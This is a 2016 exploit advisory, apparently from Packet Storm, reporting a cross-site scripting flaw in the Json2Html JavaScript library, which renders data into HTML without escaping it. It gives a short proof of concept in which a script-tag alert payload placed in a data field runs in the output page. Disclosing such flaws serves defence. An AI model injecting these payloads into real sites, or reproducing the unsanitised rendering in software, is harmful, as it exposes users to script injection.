Json2Html Cross Site Scripting

🗓️ 16 Jun 2016 00:00:00Reported by David SilveiroType

packetstorm🔗 packetstormsecurity.com👁 19 Views

Json2Html Javascript Library - Reflective/Persistant XSS, Lack of Sanitization

`# Exploit Title: Json2Html Javascript Library - Reflective/Persistant XSS  
# Date: 0 day  
# Exploit Author: David Silveiro  
# Exploit Author Github: github.com/davidsilveiro  
# Vendor Homepage: http://json2html.com/  
# Software Link: https://github.com/moappi/json2html/archive/master.zip  
# Platorm: Javascript  
  
  
Json2Html is a pure javascript library that transforms json to html and is  
used as a Jquery plugin, as well as a Node.js package.  
  
The issue lyes with there being no sanitization when the conversion between  
the two occures. For example;  
  
Proof of concept:  
  
var transform = {'<>':'li','html':'${name} (${age})'};  
  
var data = [  
{'name':'Bob','age':40},  
{'name':'<script>alert('XSS')</script>','age':34}  
];  
  
and then transformed...  
  
<html>  
  
<li>  
Bob (40)  
</li>  
  
<li>  
<script>alert('XSS')</script> (34)  
</li>  
  
</html>  
  
`

16 Jun 2016 00:00Current

7.4High risk

Vulners AI Score7.4